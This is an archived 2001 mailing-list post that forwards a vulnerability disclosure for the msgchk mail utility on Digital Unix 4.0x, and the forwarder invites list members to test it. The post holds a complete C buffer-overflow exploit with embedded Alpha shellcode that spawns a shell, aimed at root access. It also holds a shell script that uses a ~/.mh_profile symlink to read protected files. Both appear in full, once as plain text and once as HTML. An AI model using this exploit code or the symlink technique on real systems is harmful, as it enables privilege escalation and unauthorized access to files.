tru64-unix-managers (formerly alpha-osf-managers) (1994-2012)
 help / color / mirror / Atom feed
From: WScates () amc ! jccbi ! gov
To: tru64-unix-managers
Subject: FW: Digital Unix 4.0x msgchk multiple vulnerabilities
Date: Mon, 10 Sep 2001 17:30:05 +0000	[thread overview]
Message-ID: <102653680321894.tru64-unix-managers.marc@archive.invalid> (raw)

[-- Warning: decoded text below may be mangled, UTF-8 assumed --]
[-- Attachment #1: Type: multipart/mixed; boundary="------_=_NextPart_001_01C13A1E.3B1F4720", Size: 18183 bytes --]

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C13A1E.3B1F4720
Content-Type: text/plain;
	charset="iso-8859-1"

Hello everyone,

Just thought I would pass this along so we could all test it out and get
feeback on it.

-Will


-----Original Message-----
From: 
Sent: Sunday, September 09, 2001 9:54 PM

Subject: Digital Unix 4.0x msgchk multiple vulnerabilities




hi everyone.
there were multiple vulnerabilities in "/usr/bin/mh/msgchk" on digital
unix 4.0x
it's a mail utility - check for messages (only available within the
message handlin
  system, mh)
two vulnerabilities were found.

 /usr/bin/mh/msgchk is affected to buffer overflow vulnerability

 -- snip --
  $ /usr/bin/mh/msgchk `perl -e 'print "A"x9000'`
  AAAAAAAAAAAAA ... ...
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA : 
   msgchk: no such user as AAAAAAAAAAAAAAAAAAAAAA ... ...
AAAAAAAAAAAAAAAAAAAAAAA
  Memory fault(coredump)
 -- snip --

 exploit code is followed end of this document.
 
 Next , /usr/bin/mh/msgchk has a vulnerability that anyone read  1 line  
 of the unprivileged file on the system
 it's a old bug on redhat linux 2.0, but it also works on digital unix
4.0x
 
 exploit script is also followed end of this document too.
 
 
i didn't test it on other version of digital unix or tru64 unix , but 4.0d
if stack is excutable, then overflow bug have you get root privilege ,
bug of ~/.mh_profile file control would make you read 1 line of
unprivileged file on the system.


++ msgchkx.c

/*
 * 2001/09/05  - at the bench of windy fall         
 * /usr/bin/mh/msgchk buffer overflow exploit code by truefinder ,
seo@igrus.inha.ac.kr
 * now we will drill /usr/bin/mh/msgchk 
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define NOP             0x47ff041f
#define ALIGNSIZE       (4 + 1 )
#define BUFSIZE         (8000 + 211 )
#define RETADDR         0x000000011ffffaa0
#define DEFNOPSIZE      7168

char nop[] = { 0x1f, 0x04, 0xff, 0x47, 0x00 };
char retaddr[] = { 0xa0, 0xea, 0xff, 0x1f, 0x01 , 0x00 };

static char shellcode[] =
        "\x30\x15\xd9\x43"      /* subq $30,200,$16             */
        "\x11\x74\xf0\x47"      /* bis $31,0x83,$17             */
        "\x12\x94\x07\x42"      /* addq $16,60,$18              */
        "\xfc\xff\x32\xb2"      /* stl $17,-4($18)              */
        "\xff\x47\x3f\x26"      /* ldah $17,0x47ff($31)         */
        "\x1f\x04\x31\x22"      /* lda $17,0x041f($17)          */
        "\xfc\xff\x30\xb2"      /* stl $17,-4($16)              */
        "\xf9\xff\x1f\xd2"      /* bsr $16,-28                  */
        "\x30\x15\xd9\x43"      /* subq $30,200,$16             */
        "\x31\x15\xd8\x43"      /* subq $30,192,$17             */
        "\x12\x04\xff\x47"      /* clr $18                      */
        "\x40\xff\x1e\xb6"      /* stq $16,-192($30)            */
        "\x48\xff\xfe\xb7"      /* stq $31,-184($30)            */
        "\x98\xff\x7f\x26"      /* ldah $19,0xff98($31)         */
        "\xd0\x8c\x73\x22"      /* lda $19,0x8cd0($19)          */
        "\x13\x05\xf3\x47"      /* ornot $31,$19,$19            */
        "\x3c\xff\x7e\xb2"      /* stl $19,-196($30)            */
        "\x69\x6e\x7f\x26"      /* ldah $19,0x6e69($31)         */
        "\x2f\x62\x73\x22"      /* lda $19,0x622f($19)          */
        "\x38\xff\x7e\xb2"      /* stl $19,-200($30)            */
        "\x13\x94\xe7\x43"      /* addq $31,60,$19              */
        "\x20\x35\x60\x42"      /* subq $19,1,$0                */
        "\xff\xff\xff\xff";     /* callsys ( disguised )        */
        /* oh! this is ohhara's shellcode */

int 
main(int argc, char  *argv[] )
{

        char *buf , *buf_ptr;
        int bufsize , alignsize , offset ;
        int i, totalsize;
        
        bufsize = BUFSIZE ; alignsize = ALIGNSIZE ; offset = 0 ;

        if ( argc < 1 ) {                printf("usage : %s <bufsize>
<align> <offset>\n",
argv[0]);
                exit (-1);
        }

        if (argc > 1 )
                bufsize = atoi( argv[1] );

        if ( argc > 2 )
                alignsize = atoi( argv[2] ) + ALIGNSIZE ;

        if ( argc > 3 )
                offset = atoi ( argv[3] );

        totalsize = alignsize + bufsize ;
         buf = malloc( totalsize ) ;


        memset ( buf, NULL , totalsize );

        memset ( buf, 'A', alignsize );
        buf_ptr = (char *)(buf + alignsize );

        /* default nop size is 4096 bytes */
        for ( i = 0 ; i < DEFNOPSIZE/4 ; i++ )                strcat (
buf_ptr , nop );        strcat ( buf_ptr, shellcode );        /* fill the
block with 'A' */        for ( i =0 ; i < bufsize - DEFNOPSIZE -
strlen(shellcode) - 8 ;i++ )                strcat( buf_ptr ,"A");
strcat ( buf_ptr , retaddr );         execl ("/var/tmp/mh/msgchk", "msgchk",
buf, NULL );  }++ msgchkx.sh#!/bin/sh# truefinder, seo@igrus.inha.ac.kr#
msgchk file read vulnerabilityif [ ! -f $1 ]then 	echo "usage : $0
<file path>"
fi
 
cd ~
ln -sf $1 ~/.mh_profile
/usr/bin/mh/msgchk
 



EOF





------_=_NextPart_001_01C13A1E.3B1F4720
Content-Type: text/html;
	charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">
<META NAME="Generator" CONTENT="MS Exchange Server version 5.5.2653.12">
<TITLE>FW: Digital Unix 4.0x msgchk multiple vulnerabilities</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=2>Hello everyone,</FONT>
</P>

<P><FONT SIZE=2>Just thought I would pass this along so we could all test it out and get feeback on it.</FONT>
</P>

<P><FONT SIZE=2>-Will</FONT>
</P>
<BR>

<P><FONT SIZE=2>-----Original Message-----</FONT>
<BR><FONT SIZE=2>From: </FONT>
<BR><FONT SIZE=2>Sent: Sunday, September 09, 2001 9:54 PM</FONT>
</P>

<P><FONT SIZE=2>Subject: Digital Unix 4.0x msgchk multiple vulnerabilities</FONT>
</P>
<BR>
<BR>
<BR>

<P><FONT SIZE=2>hi everyone.</FONT>
<BR><FONT SIZE=2>there were multiple vulnerabilities in &quot;/usr/bin/mh/msgchk&quot; on digital</FONT>
<BR><FONT SIZE=2>unix 4.0x</FONT>
<BR><FONT SIZE=2>it's a mail utility - check for messages (only available within the</FONT>
<BR><FONT SIZE=2>message handlin</FONT>
<BR><FONT SIZE=2>&nbsp; system, mh)</FONT>
<BR><FONT SIZE=2>two vulnerabilities were found.</FONT>
</P>

<P><FONT SIZE=2>&nbsp;/usr/bin/mh/msgchk is affected to buffer overflow vulnerability</FONT>
</P>

<P><FONT SIZE=2>&nbsp;-- snip --</FONT>
<BR><FONT SIZE=2>&nbsp; $ /usr/bin/mh/msgchk `perl -e 'print &quot;A&quot;x9000'`</FONT>
<BR><FONT SIZE=2>&nbsp; AAAAAAAAAAAAA ... ...</FONT>
<BR><FONT SIZE=2>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA : </FONT>
<BR><FONT SIZE=2>&nbsp;&nbsp; msgchk: no such user as AAAAAAAAAAAAAAAAAAAAAA ... ...</FONT>
<BR><FONT SIZE=2>AAAAAAAAAAAAAAAAAAAAAAA</FONT>
<BR><FONT SIZE=2>&nbsp; Memory fault(coredump)</FONT>
<BR><FONT SIZE=2>&nbsp;-- snip --</FONT>
</P>

<P><FONT SIZE=2>&nbsp;exploit code is followed end of this document.</FONT>
<BR><FONT SIZE=2>&nbsp;</FONT>
<BR><FONT SIZE=2>&nbsp;Next , /usr/bin/mh/msgchk has a vulnerability that anyone read&nbsp; 1 line&nbsp; </FONT>
<BR><FONT SIZE=2>&nbsp;of the unprivileged file on the system</FONT>
<BR><FONT SIZE=2>&nbsp;it's a old bug on redhat linux 2.0, but it also works on digital unix</FONT>
<BR><FONT SIZE=2>4.0x</FONT>
<BR><FONT SIZE=2>&nbsp;</FONT>
<BR><FONT SIZE=2>&nbsp;exploit script is also followed end of this document too.</FONT>
<BR><FONT SIZE=2>&nbsp;</FONT>
<BR><FONT SIZE=2>&nbsp;</FONT>
<BR><FONT SIZE=2>i didn't test it on other version of digital unix or tru64 unix , but 4.0d</FONT>
<BR><FONT SIZE=2>if stack is excutable, then overflow bug have you get root privilege ,</FONT>
<BR><FONT SIZE=2>bug of ~/.mh_profile file control would make you read 1 line of</FONT>
<BR><FONT SIZE=2>unprivileged file on the system.</FONT>
</P>
<BR>

<P><FONT SIZE=2>++ msgchkx.c</FONT>
</P>

<P><FONT SIZE=2>/*</FONT>
<BR><FONT SIZE=2>&nbsp;* 2001/09/05&nbsp; - at the bench of windy fall&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </FONT>
<BR><FONT SIZE=2>&nbsp;* /usr/bin/mh/msgchk buffer overflow exploit code by truefinder ,</FONT>
<BR><FONT SIZE=2>seo@igrus.inha.ac.kr</FONT>
<BR><FONT SIZE=2>&nbsp;* now we will drill /usr/bin/mh/msgchk </FONT>
<BR><FONT SIZE=2>&nbsp;*</FONT>
<BR><FONT SIZE=2>&nbsp;*/</FONT>
</P>

<P><FONT SIZE=2>#include &lt;stdio.h&gt;</FONT>
<BR><FONT SIZE=2>#include &lt;stdlib.h&gt;</FONT>
<BR><FONT SIZE=2>#include &lt;string.h&gt;</FONT>
</P>

<P><FONT SIZE=2>#define NOP&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0x47ff041f</FONT>
<BR><FONT SIZE=2>#define ALIGNSIZE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (4 + 1 )</FONT>
<BR><FONT SIZE=2>#define BUFSIZE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (8000 + 211 )</FONT>
<BR><FONT SIZE=2>#define RETADDR&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0x000000011ffffaa0</FONT>
<BR><FONT SIZE=2>#define DEFNOPSIZE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 7168</FONT>
</P>

<P><FONT SIZE=2>char nop[] = { 0x1f, 0x04, 0xff, 0x47, 0x00 };</FONT>
<BR><FONT SIZE=2>char retaddr[] = { 0xa0, 0xea, 0xff, 0x1f, 0x01 , 0x00 };</FONT>
</P>

<P><FONT SIZE=2>static char shellcode[] =</FONT>
<BR><FONT SIZE=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;\x30\x15\xd9\x43&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* subq $30,200,$16&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */</FONT>
<BR><FONT SIZE=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;\x11\x74\xf0\x47&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* bis $31,0x83,$17&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */</FONT>
<BR><FONT SIZE=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;\x12\x94\x07\x42&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* addq $16,60,$18&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */</FONT>
<BR><FONT SIZE=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;\xfc\xff\x32\xb2&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* stl $17,-4($18)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */</FONT>
<BR><FONT SIZE=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;\xff\x47\x3f\x26&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* ldah $17,0x47ff($31)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */</FONT>
<BR><FONT SIZE=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;\x1f\x04\x31\x22&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* lda $17,0x041f($17)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */</FONT>
<BR><FONT SIZE=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;\xfc\xff\x30\xb2&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* stl $17,-4($16)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */</FONT>
<BR><FONT SIZE=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;\xf9\xff\x1f\xd2&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* bsr $16,-28&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */</FONT>
<BR><FONT SIZE=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;\x30\x15\xd9\x43&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* subq $30,200,$16&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */</FONT>
<BR><FONT SIZE=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;\x31\x15\xd8\x43&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* subq $30,192,$17&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */</FONT>
<BR><FONT SIZE=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;\x12\x04\xff\x47&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* clr $18&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */</FONT>
<BR><FONT SIZE=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;\x40\xff\x1e\xb6&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* stq $16,-192($30)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */</FONT>
<BR><FONT SIZE=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;\x48\xff\xfe\xb7&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* stq $31,-184($30)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */</FONT>
<BR><FONT SIZE=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;\x98\xff\x7f\x26&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* ldah $19,0xff98($31)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */</FONT>
<BR><FONT SIZE=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;\xd0\x8c\x73\x22&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* lda $19,0x8cd0($19)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */</FONT>
<BR><FONT SIZE=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;\x13\x05\xf3\x47&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* ornot $31,$19,$19&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */</FONT>
<BR><FONT SIZE=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;\x3c\xff\x7e\xb2&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* stl $19,-196($30)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */</FONT>
<BR><FONT SIZE=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;\x69\x6e\x7f\x26&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* ldah $19,0x6e69($31)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */</FONT>
<BR><FONT SIZE=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;\x2f\x62\x73\x22&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* lda $19,0x622f($19)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */</FONT>
<BR><FONT SIZE=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;\x38\xff\x7e\xb2&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* stl $19,-200($30)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */</FONT>
<BR><FONT SIZE=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;\x13\x94\xe7\x43&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* addq $31,60,$19&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */</FONT>
<BR><FONT SIZE=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;\x20\x35\x60\x42&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* subq $19,1,$0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */</FONT>
<BR><FONT SIZE=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;\xff\xff\xff\xff&quot;;&nbsp;&nbsp;&nbsp;&nbsp; /* callsys ( disguised )&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */</FONT>
<BR><FONT SIZE=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* oh! this is ohhara's shellcode */</FONT>
</P>

<P><FONT SIZE=2>int </FONT>
<BR><FONT SIZE=2>main(int argc, char&nbsp; *argv[] )</FONT>
<BR><FONT SIZE=2>{</FONT>
</P>

<P><FONT SIZE=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; char *buf , *buf_ptr;</FONT>
<BR><FONT SIZE=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int bufsize , alignsize , offset ;</FONT>
<BR><FONT SIZE=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int i, totalsize;</FONT>
<BR><FONT SIZE=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </FONT>
<BR><FONT SIZE=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bufsize = BUFSIZE ; alignsize = ALIGNSIZE ; offset = 0 ;</FONT>
</P>

<P><FONT SIZE=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ( argc &lt; 1 ) {&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf(&quot;usage : %s &lt;bufsize&gt; &lt;align&gt; &lt;offset&gt;\n&quot;,</FONT>
<BR><FONT SIZE=2>argv[0]);</FONT>
<BR><FONT SIZE=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; exit (-1);</FONT>
<BR><FONT SIZE=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</FONT>
</P>

<P><FONT SIZE=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (argc &gt; 1 )</FONT>
<BR><FONT SIZE=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bufsize = atoi( argv[1] );</FONT>
</P>

<P><FONT SIZE=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ( argc &gt; 2 )</FONT>
<BR><FONT SIZE=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; alignsize = atoi( argv[2] ) + ALIGNSIZE ;</FONT>
</P>

<P><FONT SIZE=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ( argc &gt; 3 )</FONT>
<BR><FONT SIZE=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; offset = atoi ( argv[3] );</FONT>
</P>

<P><FONT SIZE=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; totalsize = alignsize + bufsize ;</FONT>
<BR><FONT SIZE=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; buf = malloc( totalsize ) ;</FONT>
</P>
<BR>

<P><FONT SIZE=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memset ( buf, NULL , totalsize );</FONT>
</P>

<P><FONT SIZE=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memset ( buf, 'A', alignsize );</FONT>
<BR><FONT SIZE=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; buf_ptr = (char *)(buf + alignsize );</FONT>
</P>

<P><FONT SIZE=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* default nop size is 4096 bytes */</FONT>
<BR><FONT SIZE=2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for ( i = 0 ; i &lt; DEFNOPSIZE/4 ; i++ )&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; strcat ( buf_ptr , nop );&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; strcat ( buf_ptr, shellcode );&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* fill the block with 'A' */&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for ( i =0 ; i &lt; bufsize - DEFNOPSIZE - strlen(shellcode) - 8 ;i++ )&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; strcat( buf_ptr ,&quot;A&quot;);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; strcat ( buf_ptr , retaddr );&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; execl (&quot;/var/tmp/mh/msgchk&quot;, &quot;msgchk&quot;, buf, NULL );&nbsp; }++ msgchkx.sh#!/bin/sh# truefinder, seo@igrus.inha.ac.kr# msgchk file read vulnerabilityif [ ! -f $1 ]then &nbsp;&nbsp;&nbsp;&nbsp; echo &quot;usage : $0 &lt;file path&gt;&quot;</FONT></P>

<P><FONT SIZE=2>fi</FONT>
<BR><FONT SIZE=2>&nbsp;</FONT>
<BR><FONT SIZE=2>cd ~</FONT>
<BR><FONT SIZE=2>ln -sf $1 ~/.mh_profile</FONT>
<BR><FONT SIZE=2>/usr/bin/mh/msgchk</FONT>
<BR><FONT SIZE=2>&nbsp;</FONT>
</P>
<BR>
<BR>

<P><FONT SIZE=2>EOF</FONT>
</P>
<BR>
<BR>
<BR>

</BODY>
</HTML>
------_=_NextPart_001_01C13A1E.3B1F4720--

                 reply	other threads:[~2001-09-10 17:30 UTC|newest]

Thread overview: [no followups] expand[flat|nested]  mbox.gz  Atom feed
read-only archive

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox